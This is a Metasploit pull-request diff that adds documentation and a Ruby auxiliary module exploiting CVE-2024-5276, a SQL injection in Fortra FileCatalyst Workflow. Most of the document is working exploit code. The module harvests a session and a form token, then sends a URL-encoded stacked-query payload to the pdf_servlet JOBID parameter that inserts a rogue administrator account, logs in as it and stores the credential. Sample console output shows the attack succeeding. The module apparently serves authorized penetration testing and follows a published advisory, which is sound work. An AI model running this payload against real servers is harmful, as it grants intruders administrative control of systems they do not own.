Land #19373, Fortra FileCatalyst Workflow SQL Injection

documentation/modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.md

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+## Vulnerable Application
+
+This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135 (CVE-2024-5276), by adding a new
+administrative user to the web interface of the application.
+
+The vendor published an advisory [here]
+(https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0)
+and [here](https://www.fortra.com/security/advisories/product-security/fi-2024-008).
+
+The advisory from Tenable is available [here](https://www.tenable.com/security/research/tra-2024-25).
+
+## Testing
+
+The software can be obtained from the [vendor](https://www.goanywhere.com/products/filecatalyst/trial).
+
+Deploy it by following the vendor's [installation guide]
+(https://filecatalyst.software/public/filecatalyst/Workflow/5.1.6.139/FileCatalyst_Web_Tomcat_Installation.pdf).
+
+**Successfully tested on**
+
+- Fortra FileCatalyst Workflow v5.1.6 (Build 135) on Windows 10 22H2
+- Fortra FileCatalyst Workflow v5.1.6 (Build 135) on Ubuntu 24.04 LTS
+
+## Verification Steps
+
+1. Deploy Fortra FileCatalyst Workflow <= v5.1.6 Build 135
+2. Start `msfconsole`
+3. `use auxiliary/admin/http/fortra_filecatalyst_workflow_sqli`
+4. `set RHOSTS <IP>`
+5. `set RPORT <PORT>`
+6. `set TARGETURI <URI>`
+7. `set NEW_USERNAME <username>`
+8. `set NEW_PASSWORD <password>`
+9. `run`
+10. A new admin user should have been successfully added.
+
+## Options
+
+### NEW_USERNAME
+Username to be used when creating a new user with admin privileges.
+
+### NEW_PASSWORD
+Password to be used when creating a new user with admin privileges.
+
+### NEW_EMAIL
+E-mail to be used when creating a new user with admin privileges.
+
+## Scenarios
+
+Running the module against FileCatalyst Workflow v5.1.6 (Build 135) on either Windows 10 22H2 or Ubuntu 24.04 LTS should result in an output
+similar to the following:
+
+```
+msf6 auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) > run
+[*] Running module against 192.168.137.195
+
+[*] Starting SQL injection workflow...
+[+] Server reachable.
+[*] JSESSIONID value: CBD945F52F91E0F4354296C939BDABDE
+[*] FCWEB.FORM.TOKEN value: IvHIPuxllBiHOfXzLlaS
+[*] Redirect #1: /workflow/createNewJob.do?.rnd2=3324035&FCWEB.FORM.TOKEN=IvHIPuxllBiHOfXzLlaS
+[*] Redirect #2: /workflow/jsp/chooseOrderForm.jsp?.rnd2=3324040&FCWEB.FORM.TOKEN=IvHIPuxllBiHOfXzLlaS
+[*] Received expected response.
+[+] SQL injection successful!
+[*] Confirming credentials...
+[*] FCWEB.FORM.TOKEN value: IvHIPuxllBiHOfXzLlaS
+[+] Login successful!
+[+] New admin user was successfully injected:
+	elroy:yodTwsPs
+[+] Login at: http://192.168.137.195:8080/workflow/jsp/logon.jsp
+[*] Auxiliary module execution completed
+```

modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb

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+require 'digest/md5'
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)',
+        'Description' => %q{
+          This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135, by adding a new
+          administrative user to the web interface of the application.
+        },
+        'Author' => [
+          'Tenable', # Discovery and PoC
+          'Michael Heinzl' # MSF Module
+        ],
+        'References' => [
+          ['CVE', '2024-5276'],
+          ['URL', 'https://www.tenable.com/security/research/tra-2024-25'],
+          ['URL', 'https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0']
+        ],
+        'DisclosureDate' => '2024-06-25',
+        'DefaultOptions' => {
+          'RPORT' => 8080
+        },
+        'License' => MSF_LICENSE,
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
+        }
+      )
+    )
+
+    register_options([
+      OptString.new('TARGETURI', [true, 'Base path', '/']),
+      OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]),
+      OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alphanumeric(16)]),
+      OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
+    ])
+  end
+
+  def run
+    print_status('Starting SQL injection workflow...')
+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'workflow/')
+    )
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+    unless res.code == 200
+      fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
+    end
+    print_good('Server reachable.')
+
+    raw_res = res.to_s
+    unless raw_res =~ /JSESSIONID=(\w+);/
+      fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')
+    end
+
+    jsessionid = ::Regexp.last_match(1)
+    print_status("JSESSIONID value: #{jsessionid}")
+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"),
+      'headers' => {
+        'Cookie' => "JSESSIONID=#{jsessionid}"
+      }
+    )
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+
+    body = res.body
+    unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
+      fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
+    end
+
+    token_value = ::Regexp.last_match(1)
+    print_status("FCWEB.FORM.TOKEN value: #{token_value}")
+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"),
+      'headers' => {
+        'Cookie' => "JSESSIONID=#{jsessionid}"
+      }
+    )
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+
+    unless res.headers['Location']
+      fail_with(Failure::UnexpectedReply, 'Location header not found.')
+    end
+
+    location_value = res.headers['Location']
+    print_status("Redirect #1: #{location_value}")
+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, location_value.to_s),
+      'headers' => {
+        'Cookie' => "JSESSIONID=#{jsessionid}"
+      }
+    )
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+
+    unless res.headers['Location']
+      fail_with(Failure::UnexpectedReply, 'Location header not found.')
+    end
+
+    location_value = res.headers['Location']
+    print_status("Redirect #2: #{location_value}")
+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, location_value.to_s),
+      'headers' => {
+        'Cookie' => "JSESSIONID=#{jsessionid}"
+      }
+    )
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+
+    html = res.get_html_document
+    h2_tag = html.at_css('h2')
+
+    unless h2_tag
+      fail_with(Failure::UnexpectedReply, 'h2 tag not found.')
+    end
+
+    h2_text = h2_tag.text.strip
+    unless h2_text == 'Choose an Order Type'
+      fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text)
+    end
+
+    print_status('Received expected response.')
+
+    t = Time.now
+    username = datastore['NEW_USERNAME']
+    password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase
+    email = datastore['NEW_EMAIL']
+    firstname = Faker::Name.first_name
+    lastname = Faker::Name.last_name
+    areacode = rand(100..999)
+    exchangecode = rand(100..999)
+    subscribernumber = rand(1000..9999)
+    phone = format('(%<areacode>03d) %<exchangecode>03d-%<subscribernumber>04d',
+                   areacode: areacode,
+                   exchangecode: exchangecode,
+                   subscribernumber: subscribernumber)
+    creation = "+#{t.strftime('%s%L')}"
+    pw_creationdate = "+#{t.strftime('%s%L')}"
+    lastlogin = "+#{t.strftime('%s%L')}"
+
+    vprint_status('Adding New Admin User:')
+    vprint_status("\tUsername: #{username}")
+    vprint_status("\tPassword: #{datastore['NEW_PASSWORD']} (#{password})")
+    vprint_status("\tEmail: #{email}")
+    vprint_status("\tFirstName: #{firstname}")
+    vprint_status("\tLastName: #{lastname}")
+    vprint_status("\tPhone: #{phone}")
+    vprint_status("\tCreation: #{creation}")
+    vprint_status("\tPW_CreationDate: #{pw_creationdate}")
+    vprint_status("\tLastLogin: #{lastlogin}")
+
+    payload = '1%27%3BINSERT+INTO+DOCTERA_USERS+%28USERNAME%2C+PASSWORD%2C+ENCPASSWORD%2C+FIRSTNAME%2C+LASTNAME%2C+COMPANY%2C' \
+              'ADDRESS%2C+ADDRESS2%2C+CITY%2C+STATE%2C+ALTPHONE%2C+ZIP%2C+COUNTRY%2C+PHONE%2C+FAX%2C+EMAIL%2C+LASTLOGIN%2C' \
+              'CREATION%2C+PREFERREDSERVER%2C+CREDITCARDTYPE%2C+CREDITCARDNUMBER%2C+CREDITCARDEXPIRY%2C+ACCOUNTSTATUS%2C+USERTYPE%2C' \
+              'COMMENT%2C+ADMIN%2C+SUPERADMIN%2C+ACCEPTEMAIL%2C+ALLOWHOTFOLDER%2C+PROTOCOL%2C+BANDWIDTH%2C+DIRECTORY%2C+SLOWSTARTRATE%2C' \
+              'USESLOWSTART%2C+SLOWSTARTAGGRESSIONRATE%2C+BLOCKSIZE%2C+UNITSIZE%2C+NUMENCODERS%2C+NUMFTPSTREAMS%2C+ALLOWUSERBANDWIDTHTUNING%2C' \
+              'EXPIRYDATE%2C+ALLOWTEMPACCOUNTCREATION%2C+OWNERUSERNAME%2C+USERLEVEL%2C+UPLOADMETHOD%2C+PW_CHANGEABLE%2C+PW_CREATIONDATE%2C' \
+              "PW_DAYSBEFOREEXPIRE%2C+PW_MUSTCHANGE%2C+PW_USEDPASSWORDS%2C+PW_NUMERRORS%29+VALUES%28%27#{username}%27%2C+NULL%2C+" \
+              "%27#{password}%27%2C+%27#{firstname}%27%2C+%27#{lastname}%27%2C+%27%27%2C+" \
+              '%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27202-404-2400%27%2C+%27%27%2C+' \
+              "%27#{email}%27%2C#{lastlogin}%2C#{creation}%2C+%27default%27%2C+%27%27%2C+%27%27%2C+" \
+              '%27%27%2C+%27full+access%27%2C+%27%27%2C+%27%27%2C+1%2C+0%2C+0%2C+0%2C+%27DEFAULT%27%2C+%270%27%2C+0%2C+' \
+              '%270%27%2C+1%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+0%2C+0%2C+0%2C+%27%27%2C+0%2C+' \
+              "%27DEFAULT%27%2C+0%2C#{pw_creationdate}%2C+-1%2C+0%2C+NULL%2C+0%29%3B--+-"
+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, "workflow/servlet/pdf_servlet?JOBID=#{payload}"),
+      'headers' => {
+        'Cookie' => "JSESSIONID=#{jsessionid}"
+      }
+    )
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+
+    fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200
+    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.body.to_s == ''
+    print_good('SQL injection successful!')
+
+    print_status('Confirming credentials...')
+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'workflow/jsp/logon.jsp'),
+      'headers' => {
+        'Cookie' => "JSESSIONID=#{jsessionid}"
+      }
+    )
+
+    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
+
+    body = res.body
+    unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
+      fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
+    end
+
+    token_value = ::Regexp.last_match(1)
+    print_status("FCWEB.FORM.TOKEN value: #{token_value}")
+
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'),
+      'headers' => {
+        'Cookie' => "JSESSIONID=#{jsessionid}",
+        'Content-Type' => 'application/x-www-form-urlencoded'
+      },
+      'vars_post' => {
+        'username' => datastore['NEW_USERNAME'],
+        'password' => datastore['NEW_PASSWORD'],
+        'FCWEB.FORM.TOKEN' => token_value.to_s,
+        'submit' => 'Login'
+      }
+    )
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+
+    html = res.get_html_document
+    title_block = html.at_css('.titleBlock')
+
+    unless title_block
+      fail_with(Failure::UnexpectedReply, 'Expected titleBlock not found.')
+    end
+    title_text = title_block.text.strip
+
+    unless title_text.include?('Administration')
+      fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.')
+    end
+    store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
+    print_good('Login successful!')
+
+    print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
+    print_good("Login at: #{full_uri(normalize_uri(target_uri, 'workflow/jsp/logon.jsp'))}")
+  end
+
+end